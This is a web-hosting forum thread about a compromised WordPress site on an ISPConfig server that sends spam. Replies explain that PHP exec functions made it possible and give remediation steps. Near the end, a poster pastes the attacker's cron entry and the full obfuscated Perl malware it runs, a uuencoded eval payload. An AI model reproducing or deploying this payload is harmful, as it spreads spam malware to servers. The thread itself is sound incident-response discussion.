hi, Please read complete before understanding the bug. This is not the first time we have encountered a website running wordpress on our ISPConfig Server. Problem: The hosted domain is able to fork/create processes, which in turn create/fork SMTP processes on the server and the hosted domain is able to listen and then starts sending emails for the hackers' pleasure. this is causing a big blunder on our side, causing the server being blacklisted on most of the RBLs and our legitimate customers are getting panic due to this. even though the PERL extension is disabled completely in the allowed executable paths , strange again, we have postfix already running on port 25 on the server, when I do an "lsof -i:25" is do that the default postfix and the forked processes listening on same port Below is the lsof -i:25 output see what 3rd column is saying, genuine SMTP Processes are running with root, while the forked process is running with the user of the hosted domain I have all details in the attached file, as the maximum size of the message here is 1000, please read the file completely. BUG even though the perl is not in allowed components list, but the website can still run the perl executables very successfully.
Reading your post I have to confess that I believe you have no real idea of how PHP, Perl and server security itself work … The option you mentioned (Perl inactive/active in ISPConfig) simply means that .pl files are not executed when called via web, e. g. https://yourdomain.com/myscript.pl. It does in no way mean (as that would not even be possible) that the web system user may not execute perl scripts on shell. So what happened at your server is that your web was hacked and either the attacker created a cron job that belongs to the system user that then executes any script he wants or the attacker executed the perl script directly This is normally done by using exec, shell_exec, system, backtick etc. operators in PHP. So before you claim to have found security bugs in ISPConfig and such scare other (not-so-experienced) users, read some texts about how to secure your websites. In short: Either use a WAF to prevent security wholes being misused or disallow the use of potentially risky functions in PHP (php.ini setting disable_functions) Last but not least: I hate (yes, personally I HATE) when users who have no idea of the technical backgrounds claim such "security bug nonsense".
The title of your post is quite misleading as it claims to be about a bug in ISPConfig while what you posted is a misconfiguration of PHP on your server, so you might want to correct the title as other users might think that there is a bug otherwise. ISPconfig is not involved in the execution of the perl scripts nor in sending of these emails at all. Back to your original problem: You have a hacked WordPress site and this WordPress site started a script on your server which sends emails. This is possible only because you allow your customers to execute scripts. See here on how to disallow code execution from within PHP: https://www.cyberciti.biz/faq/linux-unix-apache-lighttpd-phpini-disable-functions/ You should set that e.g. for php-fpm and then limit all sites to use php-fpm. Don't set this for php cli as cli is commandline and cli scripts must be able to execute commands.
my apologies, if I have created a mess here or reported the ISPConfig as problem here, My concern is to make the product ( the ISPConfig ) more reliable and secure rather than being HATED by someone or being noticed for reporting the buggy problem about a Bug. my perception ( which you said is wrong as well ) that when you disable the PERL execution in the hosted domain, it should not allow perl for anything, but it is actually happening I can't rename perl for this user's env only. other than that, the processes created are not even giving any single clue how they were created ( the only option that is working is to go to the /proc/processid/ and then listing the exe which shows its a perl script which is sending emails from users through my system. in addition to this, I just noticed, there is no SMTP process, but the processes are just accepting emails from remote locations and then sending them to multiple locations/destinations. ( lsof -i:25 is showing is ) again I apologize, but I need some help on this to get rid of these things. I just moved the websites to PHP-Mod from PHP-Cgi , will that work in any way..any other suggestions will be welcome.
Really bad idea, mod-php is a completely insecure old PHP mode which allows a site access to all other sites, never use that on servers with more than one website. Switch it back immediately to either fastcgi or php-fpm. Like I mentioned above, your problem is not directly related to ISPConfig or the use of ISPConfig on your server. A user on any web server, no matter if it has ispconfig installed or not, can execute applications from within PHP unless you disable this PHP standard functionality. That the executed script is written in perl does not matter for the problem, it could be written in any programming language So how to fix and secure your server: 1) Kill the currently running perl process which sends the email. 2) Edit the global php-fpm php.ini file and disable the code execution functions there as described in the link that I posted. 3) Restart PHP-fpm. 4) Check the crontab of the web29, if it contains something, remove it: crontab -l -u web29 5) Check if a new perl process was started in the meantime, in that case, kill it again. 6) Check your website or all websites with a malware scanner to remove malware that was uploaded, you can do that e.g. with the free trial scan from ispprotect: https://ispprotect.com/
The lsof is not showing that and an unprivileged user like web29 can never bind a program to a lower port, only root can do that. What lsof shows is that postfix is running on port 25, the sendmail command is used to send emails, sendmail is the standard command on Linux systems to send an email from scripts like shell scripts.
Check the website access log files, as if the site was breached via a wordpress core/plugin/theme vulnerability, you may well find helpful indications there. That's most likely, but also check ftp or ssh logs if you have ftp or shell users on the site, to see if a ftp or shell account has been (ab)used to add malware. Scan for malware like @till said. As this is a wordpress site, I would strongly recommend using wordfence, both as a WAF as @Croydon suggested and also to scan your website for malware/vulnerabilities. Generally multiple scanners are useful, as they all miss things. Ass you mentioned 'Forked processes have usual names like "postfix", sendmail, or exim4' you might even try a "grep -Erl 'postfix|sendmail|exim4' /var/www/domain.tld/web/" and investigate any files mentioned (though you will have false positives, matching those strings but not malicious).
Just found the problem -- thanks to Till for his patience and being a real mentor here.. Salute to You There is cronjob running under web29 user, which is executing the perl process every 10 minutes. Code: root@server1 server1 :~# crontab -l -u web29 */10 * * * * perl /var/tmp/WkWFJl >/dev/null 2>&1 root@server1 server1 :~# more /var/tmp/WkWFJl my $OTijZtzR;$OTijZtzR.=$_ while(<DATA>);eval(unpack('u*',$OTijZtzR)); __DATA__ M(R$O=7-R+V)I;B]P97)L("UW#0IU<V4@<W1R:6-T.PT*=7-E(%!/4TE8.PT* M=7-E($E/.CI3;V-K970[#0IU<V4@24\Z.E-E;&5C=#L-"B0P(#T@(GAI;F5T M9"([(&UY("@D<3$L("1Q,BD@/2`H(C`N-R(L("(P+C@B*3L@)'P@/2`Q.R`F M;6%I;[email protected]*<W5B(&UA:6X-"GL-"F5X:70@,"!U;FQE<W,@9&5F:6YE9"`H M;7D@)'!I9"`](&9O<FLI.PT*97AI="`P(&EF("1P:60[#0I03U-)6#HZ<V5T M<VED*"D[#0HD4TE'>R1??2`]("))1TY/4D4B(&9O<B`H<7<@*$A54"!)3E0@ M24Q,($9012!154E4($%"4E0@55-2,2!314=6(%534C(@4$E012!!3%)-(%1% M4DT@0TA,1"DI.PT*=6UA<VL@,#L-"F-H9&ER("(O(CL-"F]P96X@*%-41$E. M+"`B/"]D978O;G5L;"(I.PT*;W!E;B`H4U1$3U54+"`B/B]D978O;G5L;"(I M.PT*;W!E;B`H4U1$15)2+"`B/B935$1/550B*3L-"FUY("1U<FP@/2!;(C<X M+C$R."XQ,3(N,3`V(ET[#0IM>2`D<FYD(#T@6R)A(BXN(GHB+"`B02(N+B): M(ET[("1R;F0@/2!J;VEN("@B(BP@0"1R;F1;;6%P('MR86YD($`D<FYD?2@Q M+BXH-B`K(&EN="!R86YD(#4I*5TI.PT*;7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GT-"B1T:6UE;W5T(#T@ M,#L-"GT-"F5L<VEF("@D(2`]/2!03U-)6#HZ15=/54Q$0DQ/0TLI#0I[#0IN M97AT.PT*?0T*96QS90T*>PT*)'1I;65O=70@/2`P.PT*?0T*?0T*:68@*"1T M:6UE;W5T(#P@=&EM92D-"GL-"F9O<F5A8V@@;7D@)&AA;F1L92`H)'=R:71E M<G,M/FAA;F1L97,L("1R96%D97)S+3YH86YD;&5S*0T*>PT*)'=R:71E<G,M M/G)E;6]V92@D:&%N9&QE*2!I9B`D=W)I=&5R<RT^97AI<W1S*"1H86YD;&4I M.PT*)')E861E<G,M/G)E;6]V92@D:&%N9&QE*2!I9B`D<F5A9&5R<RT^97AI M<W1S*"1H86YD;&4I.PT*8VQO<V4@)&AA;F1L93L-"GT-"G)E='5R;CL-"GT- '"GT-"GT-"@`` root@server1 server1 :~#
Add the username of the web user to /etc/cron.deny file. But be aware that this probably will disable cronjobs for this website in ISPConfig too.
But when you disable exec functions in PHP as mentioned in my earlier posts, then an attacker will not be able to add a cronjob. So disabling crontab is not important anymore then.
which means if I remove the crontab and the executing file , the user should not be able to run the same profiled process whether or not I disable the user in crontab.deny.
If you disabled exec functions in PHP and remove the file and crontab entry, then the user should not be able to re-add it. And ensure that you clean the WordPress site for malware too with a malware scanner.